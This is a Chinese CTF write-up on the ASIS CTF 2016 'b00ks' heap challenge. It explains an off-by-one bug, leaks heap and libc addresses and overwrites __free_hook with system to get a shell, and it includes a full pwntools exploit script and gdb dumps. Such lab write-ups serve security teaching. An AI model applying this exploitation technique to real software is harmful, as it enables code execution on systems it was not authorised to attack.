Off-By-One Asis CTF 2016 b00ks

Off-By-One学习、练习

  • 0x1、Off-By-One原理
  • 0x2、Asis CTF 2016 b00ks
    • 1、利用流程:
    • 2、泄露过程
      • a、输入用户名,泄露book1地址
      • b、构造假的fake_book结构体,使其指向book2的name和description字段。
      • c、修改book1的描述字段,填入fake_book,输出book,得到book2的name和description地址。
      • d、根据book2的name字段(为什么要是这个字段呢?)由固定偏移计算libcbase
      • e、根据libcbase得到system、bin/sh、free_hook地址
      • f、再次修改book1的描述字段,调转到book2的name和description,修改为binsh、free_hook地址
      • g、修改book2的description(即freehook)为system
      • h、exp执行结果
  • 0x3、exp
  • 0x4、简洁方案
  • 0x5、参考连接

0x1、Off-By-One原理

顾名思义,溢出多了一字节,就是通过一处这一字节来泄露地址,实现堆内地址写。主要漏洞点就是在于用户代码范围控制不好,多写入了一字节,或者是一些特定函数对字符串处理,strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生,strlen不把\x00计算在长度内,而strcpy计算。

0x2、Asis CTF 2016 b00ks

给个题目链接,自己搞吧
这个题目main函数如下:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77(v3);
  sub_B6D();                                    // 用户名
  while ( 1 )
  {
    v5 = sub_A89();                             // 菜单
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        sub_F55();                              // 添加
        break;
      case 2:
        sub_BBD(v3);                            // 删除
        break;
      case 3:
        sub_E17(v3);                            // edit
        break;
      case 4:
        sub_D1F();                              // print book
        break;
      case 5:
        sub_B6D();                              // change user name
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

漏洞:输入用户名存在off-by-one漏洞:

__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( a2 <= 0 )                                // a2=32
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, a1, 1uLL) != 1 )
      return 1LL;
    if ( *a1 == 10 )
      break;
    ++a1;
    if ( i == a2 )
      break;
  }
  *a1 = 0;                     // 最后结尾赋值0,导致off-by-one
  return 0LL;
}

book的结构体如下:

 else
        {
          v3 = malloc(0x20uLL);
          if ( v3 )                             // 书的结构体
          {
            *((_DWORD *)v3 + 6) = v1;           // description size
            *((_QWORD *)off_202010 + v2) = v3;
            *((_QWORD *)v3 + 2) = v5;           // 描述
            *((_QWORD *)v3 + 1) = ptr;          // book name
            *(_DWORD *)v3 = ++unk_202024;       // book id
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }

输入用户名后,book1最后一字节覆盖成\x00,当再次创建book1时,最后一个字节会覆盖掉\x00,导致输出用户名时泄露book1地址。这时候我们构造fake_book的内容,让它指向book2的name和description(book2的name、description可以根book1结构体+偏移确定),程序还提供了change用户名的功能,可以再次将book1的地址的最后一个字节覆盖成\x00,实现了固定一个地址的任意写,再次输出book结构体时就会泄露book2的name和description地址。我们可以控制这两个字段的内容。

libc的基址怎么确定呢?
题目开启 PIE 并且没有泄漏 libc 基地址的方法,这道题的巧妙之处在于在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
libcbase = mmapaddr-offset

有了基址,可以找到system、binsh、_free_hook函数的地址,然后通过修改book1的description来修改book2的name和description为bin/sh和free_hook的地址,之后在修改book2的description为system函数地址,相当于将free_hook地址处的内容修改为system的地址,其后面就是bin/sh参数,这样在free()的时候就会调用free_hook去执行system(“bin/sh”),拿到shell。

1、利用流程:

  1. 输入用户名,泄露book1地址
  2. 构造假的fake_book结构体,使其指向book2的name和description字段。
  3. 修改book1的描述字段,填入fake_book,输出book,得到book2的name和description地址。
  4. 根据book2的name字段(为什么要是这个字段呢?)由固定偏移计算libcbase
  5. 根据libcbase得到system、bin/sh、free_hook地址
  6. 再次修改book1的描述字段,调转到book2的name和description,修改为binsh、free_hook地址
  7. 修改book2的description(即freehook)为system
  8. 触发执行free_hook,实现劫持程序执行流,得到shell

2、泄露过程

a、输入用户名,泄露book1地址

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("Enter author name: ")
p.sendline("a" * 0x20)
create_book(0x20,"aaaa",0x100,"bbbb")
print_book()
p.recvuntil("a" * 0x20)
book1_addr = u64(p.recv(6).ljust(8,"\x00"))
print(hex(book1_addr))
#gdb.attach(p)

创建book1之后,堆如下:

gdb-peda$ x/40gx 0x55f963eca040
0x55f963eca040:	0x6161616161616161	0x6161616161616161
0x55f963eca050:	0x6161616161616161	0x6161616161616161
0x55f963eca060:	0x000055f9654fb160<--	0x0000000000000000
0x55f963eca070:	0x0000000000000000	0x0000000000000000
0x55f963eca080:	0x0000000000000000	0x0000000000000000
0x55f963eca090:	0x0000000000000000	0x0000000000000000

当输出user name时会将book1地址0x000055f9654fb160输出。

b、构造假的fake_book结构体,使其指向book2的name和description字段。

#leak book2 name and description
create_book(0x21000,"cccc",0x21000,"dddd")
#这里的0x38是用book2_name的地址减去book1结构体指针
#这里的0x40是用book2_des的地址减去book1结构体指针
book2_name = book1_addr + 0x38
book2_des = book1_addr + 0x40
payload = 0xb0 * 'a' + p64(1) + p64(book2_des) + p64(book2_name) + p64(0xffff)

创建book2,size尽量大,使其用mmap映射内存

gdb-peda$ x/40gx 0x000055f9654fb190
0x55f9654fb190:	0x0000000000000002	0x00007f91e727d010
0x55f9654fb1a0:	0x00007f91e725b010	0x0000000000021000
0x55f9654fb1b0:	0x0000000000000000	0x0000000000020e51
0x55f9654fb1c0:	0x0000000000000000	0x0000000000000000
0x55f9654fb1d0:	0x0000000000000000	0x0000000000000000

,这里的0x38是用book2_name的地址减去book1结构体指针,这里的0x40是用book2_des的地址减去book1结构体指针:
offset_description = 0x55f9654fb1a0-0x000055f9654fb160 = 0x40
offset_name = 0x55f9654fb198-0x000055f9654fb160 = 0x38
这里payload = 0xb0 * ‘a’ + p64(1) + p64(book2_des) + p64(book2_name) + p64(0xffff)为什么把描述和name地址互换,是因为到后面从book1的描述字段跳转到book2时就会跳到name字段,然后便于将name填充成bin/sh,description填充成freehook。也可以不互换,那就要在创建book2时将bookname写成bin/sh。
0xb0 个a是book1的des字段地址和被\x00覆盖后book1结构体偏移的大小:

gdb-peda$ x/40gx 0x000055f9654fb160
0x55f9654fb160:	0x0000000000000001	0x000055f9654fb020
0x55f9654fb170:	0x000055f9654fb050	0x0000000000000100
0x55f9654fb180:	0x0000000000000000	0x0000000000000031

0x000055f9654fb050-0x000055f9654fb100 = -0xb0,这里需要说一下这个的作用,网上早前的说这里覆盖完后的book1结构体指针刚好指向它的des段,但是我做的时候并不是,见上面,所以需要填充0xb0个A,使得0x55f9654fb100地址处是我们伪造book1的fake_book

gdb-peda$ x/40gx 0x000055f9654fb050
0x55f9654fb050:	0x6161616161616161	0x6161616161616161
0x55f9654fb060:	0x6161616161616161	0x6161616161616161
0x55f9654fb070:	0x6161616161616161	0x6161616161616161
0x55f9654fb080:	0x6161616161616161	0x6161616161616161
0x55f9654fb090:	0x6161616161616161	0x6161616161616161
0x55f9654fb0a0:	0x6161616161616161	0x6161616161616161
0x55f9654fb0b0:	0x6161616161616161	0x6161616161616161
0x55f9654fb0c0:	0x6161616161616161	0x6161616161616161
0x55f9654fb0d0:	0x6161616161616161	0x6161616161616161
0x55f9654fb0e0:	0x6161616161616161	0x6161616161616161
0x55f9654fb0f0:	0x6161616161616161	0x6161616161616161
0x55f9654fb100:	0x0000000000000001	0x000055f9654fb1a0<--指向book2_des 
0x55f9654fb110:	0x000055f9654fb198<--book2_name	0x000000000000ffff

0x55f9654fb180:	0x0000000000000000	0x0000000000000031
0x55f9654fb190:	0x0000000000000002	0x00007f91e727d010
0x55f9654fb1a0:	0x00007f91e725b010	0x0000000000021000
0x55f9654fb1b0:	0x0000000000000000	0x0000000000020e51

可以看到fake_book已经写入。

c、修改book1的描述字段,填入fake_book,输出book,得到book2的name和description地址。

change_des(1,payload)
gdb.attach(p)
change_name()
print_book()
gdb.attach(p)
p.recvuntil("Name: ")
book2_des = u64(p.recv(6).ljust(8,"\x00"))
p.recvuntil("Description: ")
book2_name = u64(p.recv(6).ljust(8,"\x00"))

log.success("book2_name:" + hex(book2_name))
log.success("book2_des:" + hex(book2_des))

构造好了fake_book结构体,现在通过修改book1描述字段,实现fake_book写入,之后change_name,让book1的结构体指针重新被覆盖低字节,如下:

gdb-peda$ x/40gx 0x55f963eca040
0x55f963eca040:	0x6161616161616161	0x6161616161616161
0x55f963eca050:	0x6161616161616161	0x6161616161616161
0x55f963eca060:	0x000055f9654fb100	0x000055f9654fb190
0x55f963eca070:	0x0000000000000000	0x0000000000000000
0x55f963eca080:	0x0000000000000000	0x0000000000000000

看到book1重新被覆盖成0x000055f9654fb100,这个地址之前已经被我们填充成了假的fake_book,指向book2,print_book后输出得到book2的name和description地址。

d、根据book2的name字段(为什么要是这个字段呢?)由固定偏移计算libcbase

gdb-peda$ vmmap
Start              End                Perm	Name
0x000055f963cc8000 0x000055f963cca000 r-xp	/root/Desktop/pwn-test/Asis 2016 CTF b00ks/b00ks
0x000055f963ec9000 0x000055f963eca000 r--p	/root/Desktop/pwn-test/Asis 2016 CTF b00ks/b00ks
0x000055f963eca000 0x000055f963ecb000 rw-p	/root/Desktop/pwn-test/Asis 2016 CTF b00ks/b00ks
0x000055f9654fa000 0x000055f96551c000 rw-p	[heap]
0x00007f91e6cce000 0x00007f91e6e8e000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f91e6e8e000 0x00007f91e708e000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so

offset = 0x00007f91e727d010 - 0x00007f91e6cce000 = 0x5af010,这个需要自己进行计算。

e、根据libcbase得到system、bin/sh、free_hook地址

#get libcbase\system\binsh\freehook addr
libc_base = book2_name - 0x5af010  #0x5af010这个是book2_name(mmap地址)与libcbase的偏移,需自己确定

bin_sh = libc.search("/bin/sh").next() + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base

log.success("libc_base:" + hex(libc_base))
log.success("bin_sh:" + hex(bin_sh))
log.success("system_addr:" + hex(system_addr))
log.success("free_hook:" + hex(free_hook))

outPut
[+] Waiting for debugger: Done
[+] libc_base:0x7f91e6cce000
[+] bin_sh:0x7f91e6e5ad57
[+] system_addr:0x7f91e6d13390
[+] free_hook:0x7f91e70947a8

f、再次修改book1的描述字段,调转到book2的name和description,修改为binsh、free_hook地址

#覆盖book2 name and description为binsh and freehook
payload = p64(bin_sh) + p64(free_hook)
change_des(1,payload)
gdb.attach(p)

这里再次修改book1的描述部分就跳转到了book2的name字段处,然后向后覆盖将name–>binsh,将des—>freehook

gdb-peda$ x/40gx 0x000055f9654fb190
0x55f9654fb190:	0x0000000000000002	0x00007f91e6e5ad57<--binsh
0x55f9654fb1a0:	0x00007f91e70947a8<--free_hook	0x0000000000021000
0x55f9654fb1b0:	0x0000000000000000	0x0000000000020e51
0x55f9654fb1c0:	0x0000000000000000	0x0000000000000000

可以看到已经修改完毕,接下来就是替换free_hook.

g、修改book2的description(即freehook)为system

#modify book2 description(free_hook) to system
payload = p64(system_addr)
change_des(2,payload)
#触发freehook,get a shell
delete()

free_hook默认是null,free_hook是free()函数的一部分,这部分可参考glibc源码和这篇文章也就是说调用free函数会触发free_hook执行。将book2的description改为system地址,即将freehook–>system,之后调用delete触发freehook,拿到shell。

gdb-peda$ x/40gx 0x00007f91e70947a8
0x7f91e70947a8 <__free_hook>:	0x00007f91e6d13390<--system	0x0000000000000000
0x7f91e70947b8 <next_to_use>:	0x0000000000000000	0x0000000000000000
0x7f91e70947c8 <disallow_malloc_check>:	0x0000000000000000	0x0000000000000000
0x7f91e70947d8 <arena_mem>:	0x0000000000000000	0x0000000000000000

h、exp执行结果

[*] Switching to interactive mode
$ 
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x55 bytes:
    'b00k2.py  b00ks1.py   b00ks2.py  peda-session-b00ks.txt\n'
    'b00ks\t  b00ks2 .py  b00ks.py\n'
b00k2.py  b00ks1.py   b00ks2.py  peda-session-b00ks.txt
b00ks      b00ks2 .py  b00ks.py
$  

0x3、exp

# -*- coding: utf-8 -*-

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator','-x','sh','-c']

p = process("./b00ks")
def inputname():
	p.recvuntil("Enter author name: ")
	p.sendline("a" * 0x20)
def change_name():
	p.recvuntil("> ")
	p.sendline("5")
	p.recvuntil("Enter author name: ")
	p.sendline("a" * 0x20)

def create_book(size,name,size_des,desc):
	p.recvuntil("> ")
	p.sendline("1")
	p.recvuntil("Enter book name size: ")
	p.sendline(str(size))
	p.recvuntil("Enter book name (Max 32 chars): ")
	p.sendline(str(name))
	p.recvuntil("Enter book description size: ")
	p.sendline(str(size_des))
	p.recvuntil("Enter book description: ")
	p.sendline(str(desc))
def change_des(id1,des):
	p.recvuntil("> ")
	p.sendline("3")
	p.recvuntil("Enter the book id you want to edit: ")
	p.sendline(str(id1))
	p.recv()
	p.sendline(str(des))

def print_book():
	p.recvuntil("> ")
	p.sendline("4")

def delete():
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("Enter the book id you want to delete: ")
	p.sendline("2")

#leak book1addr
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
inputname()
create_book(0x20,"aaaa",0x100,"bbbb")
print_book()
p.recvuntil("a" * 0x20)
book1_addr = u64(p.recv(6).ljust(8,"\x00"))
print(hex(book1_addr))
gdb.attach(p)

#leak book2 name and description
create_book(0x21000,"cccc",0x21000,"dddd")
#这里的0x38是用book2_name的地址减去book1结构体指针
#这里的0x40是用book2_des的地址减去book1结构体指针
book2_name = book1_addr + 0x38
book2_des = book1_addr + 0x40
payload = 0xb0 * 'a' + p64(1) + p64(book2_des) + p64(book2_name) + p64(0xffff)#0xb0是覆盖完book1低字节后的地址和book1结构体的偏移,需自己确定
#这里的payload中伪造的book1的结构体中的name和des是book2_des和book2_name,
#至于为什么book2_des的指针放在book1_name处,而book2_name的指针放在book1_des处,
#这是因为我们后面需要通过修改book1_des,来控制book2结构体中的name和des。
change_des(1,payload)
gdb.attach(p)
change_name()
print_book()
gdb.attach(p)
p.recvuntil("Name: ")
book2_des = u64(p.recv(6).ljust(8,"\x00"))
p.recvuntil("Description: ")
book2_name = u64(p.recv(6).ljust(8,"\x00"))

log.success("book2_name:" + hex(book2_name))
log.success("book2_des:" + hex(book2_des))
gdb.attach(p)


#get libcbase\system\binsh\freehook addr
libc_base = book2_name - 0x5af010  #0x5af010这个是book2_name(mmap地址)与libcbase的偏移,需自己确定

bin_sh = libc.search("/bin/sh").next() + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base

log.success("libc_base:" + hex(libc_base))
log.success("bin_sh:" + hex(bin_sh))
log.success("system_addr:" + hex(system_addr))
log.success("free_hook:" + hex(free_hook))

#覆盖book2 name and description为binsh and freehook
payload = p64(bin_sh) + p64(free_hook)
change_des(1,payload)
gdb.attach(p)

#modify book2 description(free_hook) to system
payload = p64(system_addr)
change_des(2,payload)
#触发freehook,get a shell
delete()

gdb.attach(p)
p.interactive()

0x4、简洁方案

pass

0x5、参考连接

  1. https://bbs.pediy.com/thread-225611.htm
  2. https://www.cnblogs.com/liyuechan/p/10477418.html
  3. http://blog.eonew.cn/archives/521
  4. https://blog.csdn.net/qin9800/article/details/104996493
  5. https://ctf-wiki.org/pwn/linux/glibc-heap/off_by_one/

你可能感兴趣的:(pwn,pwn,CTF)